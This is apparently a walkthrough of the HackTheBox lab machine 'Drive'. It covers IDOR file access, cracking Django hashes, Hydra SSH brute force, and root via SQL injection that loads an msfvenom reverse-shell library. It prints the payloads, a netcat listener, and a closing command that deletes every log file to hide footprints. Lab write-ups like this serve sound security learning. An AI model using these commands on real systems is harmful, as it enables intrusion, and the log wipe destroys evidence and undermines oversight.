Drive - HTB Writeup
Machine Overview
Drive is a hard Linux machine featuring a file-sharing service susceptible to Insecure Direct Object Reference (IDOR). Through this vulnerability, a plaintext password is obtained, leading to SSH access to the martin user. Then, port forwarding is performed to gain access to a hardcoded password exposed in a Gitea repository, allowing decryption of encrypted database backups. Hashes within the backups are cracked, leading to access to another user, tom, on the system, who has access to a root-owned binary with the SUID bit set. The program is reverse-engineered, revealing the clear text password of user moriarty. The “Activate User Account” option is vulnerable to SQL injection, which leads to loading a malicious .dll to gain shell access as root.
User
Scanning through Nmap
First of all we will go with nmap to scan the whole network and check for services running on the network. To scan the whole network and find all the open ports i use -p- used to scan the whole 65535 ports with –min-rate 10000 to scan network faster from nmap and i found a list of open ports on the network and get only the open ports using different terminal tools like cut, tr etc.
1
2
$ nmap -p--min-rate 10000 10.10.10.175 -oN ini.txt && cat ini.txt | cut -d ' ' -f1 | tr -d '/tcp' | tr '\n' ','
22,80
Now Let’s run the depth scan on these specific ports using
1
$ nmap -p22,80 -sC -sV -A -T4 10.10.10.175 -oN scan.txt
- -sC is to run all the default scripts
- -sV for service and version detection
- -A to check all default things
- -T4 for aggressive scan
- -oN to write the result into a specified file
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 27:5a:9f:db:91:c3:16:e5:7d:a6:0d:6d:cb:6b:bd:4a (RSA)
| 256 9d:07:6b:c8:47:28:0d:f2:9f:81:f2:b8:c3:a6:78:53 (ECDSA)
|_ 256 1d:30:34:9f:79:73:69:bd:f6:67:f3:34:3c:1f:f9:4e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://drive.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
## Information Gathering Through nmap we discover only two opened ports, 22 ssh and 80 http. On port 80 ngnix 1.18.0 is running which is not vulnerable at that time and it is redirecting us to drive.htb. Let’s add this to our local DNS file called /etc/hosts
so that our browser can resolve that.
1
2
$ echo "10.10.11.235 drive.htb" | sudo tee -a /etc/hosts
10.10.11.235 drive.htb
Port 80 HTTP
The website is about some kind of data storage drive where users can store, edit, and share files. Additionally, there is a login and register page for users to access the platform.
Let’s check the website’s technologies using Wappalyzer. According to Wappalyzer, the website is running on the Python Django framework at the backend.
As we discovered earlier, there is a register and login page. Let’s create an account using the register page because we don’t have any valid credentials yet.
After logging into the account, there is a “Welcome_to_Doodle_drive!” file already present in our dashboard, and we can also upload our own files to the drive.
After uploading a file, we can see that it is stored on the drive with a number, which can be vulnerable to IDOR (Insecure Direct Object Reference). Let’s capture this request in Burp Suite and try to find files between 1 to 112 because it gives our file number as 112. In the Intruder tab, set 112 as our targeting point and set the payload to numbers from 0 to 112.
We found 6 files with numbers 79, 98, 99, 100, 101, and 112
When I tried to access these files, it shows me a 401 unauthorized error. Interesting!
Let’s fuzz that endpoint using ffuf, and we found six different endpoints with blocks that seem interesting due to their response code.
1
2
3
4
5
6
7
8
$ ffuf -u http://drive.htb/79/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
updates [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 222ms]
update [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 223ms]
blocks [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 216ms]
block [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 238ms]
updated [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 217ms]
delete [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 220ms]
We successfully accessed the content of file 79 on the block endpoint. There we found an email from Admin stating that he created a new user named martin with the password Xk4@KjyrYv8t194L!
We were also able to see the content of all other files using the block endpoint, and in the 101 file, we found the location of the database backup files on the system.
Shell as Martin using SSH
Now that we have valid credentials for the user martin, let’s get a shell using SSH.
Let’s move to the /var/www/backups
directory because it contains the database backup file.
Let’s move all these backup files to our attacking machine. Since Python is present on the machine, I will be using a Python server for data exfiltration.
All these backup files are password-protected, and Martin’s password didn’t work to extract them.
In the db.sqlite3
file, we found some users and their password hashes, which can be used to perform a dictionary attack to find the clear text password.
1
2
3
4
5
6
$ sqlite> select * from accounts_customuser;
21|sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a|2022-12-26 05:48:27.497873|0|jamesMason|||jamesMason@drive.htb|0|1|2022-12-23 12:33:04
22|sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f|2022-12-24 12:55:10|0|martinCruz|||martin@drive.htb|0|1|2022-12-23 12:35:02
23|sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004|2022-12-24 13:17:45|0|tomHands|||tom@drive.htb|0|1|2022-12-23 12:37:45
24|sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f|2022-12-24 16:51:53|0|crisDisel|||cris@drive.htb|0|1|2022-12-23 12:39:15
30|sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3|2022-12-26 05:43:40.388717|1|admin|||admin@drive.htb|1|1|2022-12-26 05:30:58.003372
User List:
- jamesMason@drive.htb
- martin@drive.htb
- tom@drive.htb
- cris@drive.htb
- admin@drive.htb
Let’s save all these hashes in a file called “hashes”.
1
2
3
4
5
6
$ cat hash
sha1$W5IGzMqPgAUGMKXwKRmi08$030814d90a6a50ac29bb48e0954a89132302483a
sha1$E9cadw34Gx4E59Qt18NLXR$60919b923803c52057c0cdd1d58f0409e7212e9f
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004
sha1$ALgmoJHkrqcEDinLzpILpD$4b835a084a7c65f5fe966d522c0efcdd1d6f879f
sha1$jzpj8fqBgy66yby2vX5XPa$52f17d6118fce501e3b60de360d4c311337836a3
Because the backend was Django-based, we will use hashcat with the Django (SHA1) mode.
Hashcat cracked the hash of user Tom in a very short time, and the password is john316.
1
2
3
4
5
6
7
8
9
$ hashcat -m 124 hash rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921508
* Keyspace..: 14344385
sha1$kyvDtANaFByRUMNSXhjvMc$9e77fb56c31e7ff032f8deb1f0b5e8f42e9e3004:john316
Let’s try to gain shell as the Tom user using SSH, but it didn’t accept that password. I also performed a password spray attack to check if any other user have the same password, but that also didn’t work here. Interesting!
Port Forwarding from martin user
When Tom’s password didn’t work and all the other backup files were encrypted, I moved back to Martin’s shell and started enumerating it. Using netstat, I discovered that something is running on port 3000.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ netstat -ant
Active Internet connections (servers and established)
| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State |
|-------|--------|--------|-------------------|------------------|-------------|
| tcp | 0 | 0 | 127.0.0.1:33060 | 0.0.0.0:* | LISTEN |
| tcp | 0 | 0 | 127.0.0.1:3306 | 0.0.0.0:* | LISTEN |
| tcp | 0 | 0 | 0.0.0.0:80 | 0.0.0.0:* | LISTEN |
| tcp | 0 | 0 | 127.0.0.53:53 | 0.0.0.0:* | LISTEN |
| tcp | 0 | 0 | 0.0.0.0:22 | 0.0.0.0:* | LISTEN |
| tcp | 0 | 1 | 10.10.11.235:51686| 8.8.4.4:53 | SYN_SENT |
| tcp | 0 | 208 | 10.10.11.235:22 | 10.10.16.7:36814 | ESTABLISHED |
| tcp6 | 0 | 0 | :::80 | :::* | LISTEN |
| tcp6 | 0 | 0 | :::22 | :::* | LISTEN |
| tcp6 | 0 | 0 | :::3000 | :::* | LISTEN |
- -a to display all sockets
- -n to don’t resolve names
- -t to restricts output to TCP connections.
Let’s forward that port to our attacking machine and check what’s running on it. Port forwarding is a process that gives someone outside of your network access to an application, program, or device within your private network. It’s otherwise known as port mapping or port tunneling. In the simplest terms, port forwarding allows other people on the internet to connect to you. You can learn more about port forwarding here.
1
$ ssh -L 3000:127.0.0.1:3000 martin@drive.htb
-L for local
Now go to the browser and check what’s running on 127.0.0.1:3000
. Gitea is running on the local port 3000 of the Martin user. Gitea is a forge software package for hosting software development version control using Git as well as other collaborative features like bug tracking, code review, continuous integration, kanban boards, tickets, and wikis. It supports self-hosting but also provides a free public first-party instance.
Let’s login into Gitea using Martin’s user credentials. After logging into Martin’s account, we are able to access the DoodleGrive repository, which includes some interesting files like db_backup.sh.
This db_backup.sh
file includes passwords for encrypted database files. H@ckThisP@ssW0rDIfY0uC@n:)
Let’s decrypt all the database files and extract data from them. I’ll extract all the password hashes and store them in a file called “hash” so that I can perform a rainbow attack to find clear text passwords.
Hashcat
Let’s crack the hashes using hashcat with the same command we used before.
1
2
3
4
5
6
7
8
9
10
11
$ hashcat -m 124 hash rockyou.txt
Dictionary cache hit:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921508
* Keyspace..: 14344385
sha1$Ri2bP6RVoZD5XYGzeYWr7c$71eb1093e10d8f7f4d1eb64fa604e6050f8ad141:johniscool
sha1$DhWa3Bym5bj9Ig73wYZRls$3ecc0c96b090dea7dfa0684b9a1521349170fc93:john boy
sha1$Ri2bP6RVoZD5XYGzeYWr7c$4053cb928103b6a9798b2521c4100db88969525a:johnmayer7
Again, we were able to crack the hash of Tom’s user account, but this time we were able to find three more different passwords. Let’s try them and check which one will work for us.
1
2
3
4
5
$ cat pass.txt
johniscool
john boy
johnmayer7
john316
Hydra
Hydra is an open-source parallelized login cracker that allows us to perform various kinds of brute force or dictionary attacks using wordlists.
- tom : johnmayer7
1
2
3
4
$ hydra -l tom -P pass.txt drive.htb ssh
[22][ssh] host: drive.htb login: tom password: johnmayer7
1 of 1 target successfully completed, 1 valid password found
- -l for username
- -P for password list
- ssh to attack on secure shell service
Shell as Tom
Let’s log in to the Tom user account using the password johnmayer7.
Privilege Escalation
Let’s move towards Privilege Escalation and check what we have in our user directory.
There is a file named doodleGrive-cli
with the +S permission set, which allows it to be executed by any member present in the group. In our case, both root and tom can execute this file, which caught my interest. To examine this file, let’s download it to our attacker machine. We can use scp or run a Python server on the victim machine to download it. First, let’s check if we have Python installed on the victim machine by running python3 –version, and we have Python installed on the victim machine.
To run the Python server, use the command python3 -m http.server
. Here, the -m
option is used to specify the module. Then, on our attacker machine, run wget http://drive.htb:8000/doodleGrive-cli
to download it to our local machine.
Great! Now that you have the file doodleGrive-cli
on your local machine, you can examine it further. Running the file
command on it indicates that it is an ELF (Executable and Linkable Format) file, which is a common file format for executable files in Linux-like operating systems. This suggests that it is indeed an executable file. You can proceed to analyze its contents or properties further to understand its functionality.
When I ran it, the binary prompted for a username and password. I attempted to use both the tom and martin usernames and passwords that we discovered earlier, but they didn’t work.
Let’s run our beloved Ghidra (Ghidra is a reverse engineering and malware analysis tool developed by the NSA) to analyze the file and determine its functionality. To learn more about Ghidra, you can check out this playlist on YouTube for the basics. Our project has been created and the file has been imported, so let’s proceed with the analysis.
First, I navigate to the main function to examine what the program is doing. I found some hard-coded credentials, which may be the username and password required for the program to start its processing. Additionally, I noticed that the setuid and setgid are both set to 0, which means that whenever the program runs, it will execute as the superuser because only the root user has uid and gid set to 0.
- Username : moriarty
- Password : findMeIfY0uC@nMr.Holmz! Let’s utilize these credentials to log in and explore the program further. Within the program, there are six options available:
- Show user list
- Show groups
- Check server health
- Show server request log
- Activate user account
- Exit
Let’s explore the activate_user_account
function further to see how we can exploit this vulnerability. It seems that the input provided by the user is directly used in a SQL query without proper sanitization, making it vulnerable to SQL injection attacks. We observed that using a single quote does not produce an error, but using a double quote does, indicating a potential SQL injection vulnerability.
Because we already have all the user information, using SQL injection to read database credentials isn’t a good choice. So let’s start googling. After some research, I found this link. It seems we can load a .dll file through a SQLite query.
Now that we know SQLite has a built-in function called load_extension() to load extensions, we can exploit this feature by creating a .so (shared object) file. Since the program sets uid and gid to 0 when it starts, we’ll create a reverse shell file using msfvenom. This way, when the program attempts to load the extension file, it will load our reverse shell file with root privileges, granting us a root shell.
To do this, we first need to create a .so file and then place it in the directory where the doodleGrive-cli is located. This is because the program will attempt to load the extension file from the directory where the doodleGrive-cli file is present.
Let’s begin the process by creating a .so file using msfvenom: msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=443 -f elf-so -o a.so
. We’ll name the file a.so to keep it short due to character limitations.
- -p is for payload
- -f for format
- -o for output file name Our file is successfully created, and now we need to upload it to the victim machine. We have two options: using a Python server or scp. Earlier, we used the Python3 server method. Now, let’s use the scp method so we can learn about both techniques. For this, we’ll use the command
scp a.so tom@drive.htb:/home/tom
. - a.so is our file name
- tom@drive.htb is target user ssh
- :/home/tom is a path in which we want to upload our file
Now, we can see that our file is present in the doodleGrive-cli directory. We need to start a listener on port 9001, which we specified in our reverse shell, so that we can receive our shell back when the doodleGrive-cli runs and calls our a.so file. To start the listener, we will use netcat: nc -lvnp 9001
.
- -l for listen
- -v for verbosity
- -n for numeric-only IP addresses
- -p for port number
Let’s try to exploit it. We will use "+load_extension(./a)--
. We use only a because sqlite3 embeds .so from itself with every extension file. After trying, we come to know that there is a filter which replaces / with none.
Let’s try to obfuscate it using the char function. The CHAR function converts decimal values to their corresponding ASCII characters. So, we will write the char value of ., /, a, which are 46 for ., 47 for /, and 97 for a. Now let’s create the payload again, which will become "+load_extension(char(46,47,97))--
, and try to see what happens next. As soon as we run the query, we get a shell as root on our listener.
Now Let’s Delete all the logs on victim machine to remove footprints using find / -name "*.log" -delete
- / telling find to start from root directory and search in whole filesystem
- -name to find file with the specific pattern
- -delete telling the find to delete all the files which match the specific pattern
Flags
User : bf7999654dcec….d63ec23658ff25 Root : 8a9e620672……16e5cb71dcf5bae